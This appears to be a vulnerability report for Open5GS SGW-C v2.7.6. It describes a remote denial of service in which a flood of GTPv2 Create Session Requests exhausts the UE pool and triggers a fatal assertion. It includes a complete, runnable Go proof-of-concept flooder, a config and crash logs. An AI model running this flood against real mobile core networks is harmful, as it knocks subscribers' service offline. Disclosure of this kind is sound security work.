| Mô tả | ### Open5GS Release, Revision, or Tag
v2.7.6
### Steps to reproduce
### Description
Open5GS SGW-C can be reliably crashed (remote DoS) by sending multiple GTPv2 Create Session Request (CSR) messages in a short period of time. When the internal SGW-C UE/session context pool reaches its limit, allocation returns NULL and the code path hits a hard assertion, causing open5gs-sgwcd to abort and dump core. In my reproduction, the fatal assertion is triggered in: src/sgwc/context.c:217 (inside sgwc_ue_add)
### Config
```
logger:
file:
path: /var/log/open5gs/sgwc.log
global:
max:
ue: 10
sgwc:
gtpc:
server:
- address: 10.44.44.2
pfcp:
server:
- address: 10.44.44.2
client:
sgwu:
- address: 10.44.44.3
```
1. Start a new go project inside a new folder: go mod init poc
2. Create a `main.go` and paste the code below:
```
package main
import (
"errors"
"flag"
"fmt"
"log"
"math/rand"
"net"
"strconv"
"strings"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
func main() {
target := flag.String("target", "", "SGW-C GTP-C IP (required)")
port := flag.Int("port", 2123, "GTP-C port")
apn := flag.String("apn", "internet", "APN to request")
imsiBase := flag.String("imsi-base", "001010000000001", "Base IMSI digits to increment")
imsiStep := flag.Uint64("imsi-step", 1, "Increment step for IMSI")
laddr := flag.String("laddr", "", "Optional local IP to bind (used for F-TEID)")
pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP (default: local IP)")
count := flag.Uint("count", 100, "How many CSR packets to send")
interval := flag.Duration("interval", 10*time.Millisecond, "Delay between sends (0 for tight loop)")
seq := flag.Uint("seq", 0, "GTPv2 sequence number (0=random per send)")
mcc := flag.String("mcc", "001", "Serving network MCC")
mnc := flag.String("mnc", "01", "Serving network MNC")
ebi := flag.Uint("ebi", 5, "EPS Bearer ID")
logEvery := flag.Uint("log-every", 50, "Log every N sends (0 logs only first/last)")
flag.Parse()
if *target == "" {
log.Fatal("Error: --target is required")
}
if *ebi == 0 || *ebi > 15 {
log.Fatal("Error: --ebi must be in [1,15]")
}
if err := validateDigits(*imsiBase); err != nil {
log.Fatalf("invalid --imsi-base: %v", err)
}
if err := validateDigits(*mcc); err != nil || len(*mcc) != 3 {
log.Fatal("Error: --mcc must be 3 digits")
}
if err := validateDigits(*mnc); err != nil || (len(*mnc) != 2 && len(*mnc) != 3) {
log.Fatal("Error: --mnc must be 2 or 3 digits")
}
if *imsiStep == 0 {
log.Fatal("Error: --imsi-step must be > 0")
}
rand.Seed(time.Now().UnixNano())
var lp *net.UDPAddr
var err error
if *laddr != "" {
lp, err = net.ResolveUDPAddr("udp", net.JoinHostPort(*laddr, "0"))
if err != nil {
log.Fatalf("resolve laddr: %v", err)
}
}
rp, err := net.ResolveUDPAddr("udp", net.JoinHostPort(*target, fmt.Sprintf("%d", *port)))
if err != nil {
log.Fatalf("resolve raddr: %v", err)
}
conn, err := net.DialUDP("udp", lp, rp)
if err != nil {
log.Fatalf("dial udp: %v", err)
}
defer conn.Close()
localIP := ""
if udpAddr, ok := conn.LocalAddr().(*net.UDPAddr); ok && udpAddr.IP != nil {
localIP = udpAddr.IP.String()
}
if localIP == "" {
log.Fatal("local IP unknown (set --laddr)")
}
if *pgwIP == "" {
*pgwIP = localIP
}
log.Printf("[*] Sending CreateSessionRequest(s) to %s (count=%d)", rp, *count)
for i := uint(0); i < *count; i++ {
imsi, err := nextIMSI(*imsiBase, *imsiStep, uint64(i))
if err != nil {
log.Fatalf("imsi generation failed: %v", err)
}
seqNum := uint32(*seq)
if seqNum == 0 {
seqNum = rand.Uint32() & 0x00ffffff
if seqNum == 0 {
seqNum = 1
}
seqNum += uint32(i)
} else {
seqNum += uint32(i)
}
mmeTEID := randNonZeroUint32()
pgwTEID := randNonZeroUint32()
csr, err := buildCSR(seqNum, imsi, *apn, localIP, *pgwIP, *mcc, *mnc, uint8(*ebi), mmeTEID, pgwTEID)
if err != nil {
log.Fatalf("build CSR: %v", err)
}
b, err := csr.Marshal()
if err != nil {
log.Fatalf("marshal CSR: %v", err)
}
if _, err := conn.Write(b); err != nil {
log.Printf("[!] send failed: %v", err)
} else if shouldLog(i, *count, *logEvery) {
log.Printf("[+] Sent %d-byte CSR seq=0x%x imsi=%s", len(b), seqNum, imsi)
}
if i+1 < *count && *interval > 0 {
time.Sleep(*interval)
}
}
log.Println("[*] Done. Monitor SGW-C for session pool exhaustion (assert in sgwc_sess_add).")
}
func buildCSR(seq uint32, imsi, apn, localIP, pgwIP, mcc, mnc string, ebi uint8, mmeTEID, pgwTEID uint32) (*message.CreateSessionRequest, error) {
if localIP == "" || pgwIP == "" {
return nil, fmt.Errorf("missing local or PGW IP")
}
senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "")
pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwTEID, pgwIP, "").WithInstance(1)
bearer := ie.NewBearerContext(
ie.NewEPSBearerID(ebi),
ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000),
)
return message.NewCreateSessionRequest(
0, seq,
ie.NewIMSI(imsi),
ie.NewAccessPointName(apn),
ie.NewServingNetwork(mcc, mnc),
ie.NewRATType(gtpv2.RATTypeEUTRAN),
ie.NewPDNType(gtpv2.PDNTypeIPv4),
ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified),
ie.NewAggregateMaximumBitRate(500000, 500000),
senderFTEID,
pgwFTEID,
bearer,
), nil
}
func nextIMSI(base string, step, index uint64) (string, error) {
val, err := strconv.ParseUint(base, 10, 64)
if err != nil {
return "", fmt.Errorf("parse base IMSI: %w", err)
}
next := val + step*index
if next < val {
return "", errors.New("IMSI overflow")
}
width := len(base)
nextStr := strconv.FormatUint(next, 10)
if len(nextStr) > width {
return "", fmt.Errorf("IMSI length overflow (%d > %d)", len(nextStr), width)
}
return strings.Repeat("0", width-len(nextStr)) + nextStr, nil
}
func validateDigits(s string) error {
if s == "" {
return errors.New("empty string")
}
for _, r := range s {
if r < '0' || r > '9' {
return fmt.Errorf("non-digit rune %q", r)
}
}
return nil
}
func randNonZeroUint32() uint32 {
v := rand.Uint32()
if v == 0 {
return 1
}
return v
}
func shouldLog(i, total, every uint) bool {
if total == 0 {
return false
}
if every == 0 {
return i == 0 || i+1 == total
}
return i%every == 0 || i+1 == total
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the upf pfcp server address: `go run main.go --target 10.44.44.2 --count 20 --interval 100ms`
### Logs
```shell
12/28 21:36:22.008: [sgwc] INFO: UE IMSI[001010000000009] APN[internet] (../src/sgwc/s11-handler.c:268)
12/28 21:36:22.108: [sgwc] INFO: [Added] Number of SGWC-UEs is now 10 (../src/sgwc/context.c:239)
12/28 21:36:22.108: [sgwc] INFO: [Added] Number of SGWC-Sessions is now 10 (../src/sgwc/context.c:924)
12/28 21:36:22.108: [sgwc] INFO: UE IMSI[001010000000010] APN[internet] (../src/sgwc/s11-handler.c:268)
12/28 21:36:22.208: [sgwc] FATAL: sgwc_ue_add: Assertion `sgwc_ue' failed. (../src/sgwc/context.c:217)
12/28 21:36:22.211: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37)
open5gs-sgwcd(+0x92d1) [0x558388dd32d1]
open5gs-sgwcd(+0x8fc5) [0x558388dd2fc5]
open5gs-sgwcd(+0x14de9) [0x558388ddede9]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7f87c605043f]
open5gs-sgwcd(+0x639a) [0x558388dd039a]
/usr/local/lib/libogscore.so.2(+0x119a3) [0x7f87c60409a3]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7f87c5e75ac3]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7f87c5f06a74]
/usr/local/bin/entrypoint.sh: line 8: 7 Aborted (core dumped) open5gs-sgwcd "${@}"
```
### Expected behaviour
When the UE pool is exhausted, SGW-C should:
gracefully reject new Create Session Requests (e.g., respond with an appropriate GTP-C error cause such as "No resources available"/"System failure"), and continue running without aborting, preserving service continuity.
### Observed Behaviour
SGW-C triggers a fatal assertion in sgwc_ue_add when the UE pool limit is reached. This immediately aborts open5gs-sgwcd and results in Denial of Service (DoS).
|
|---|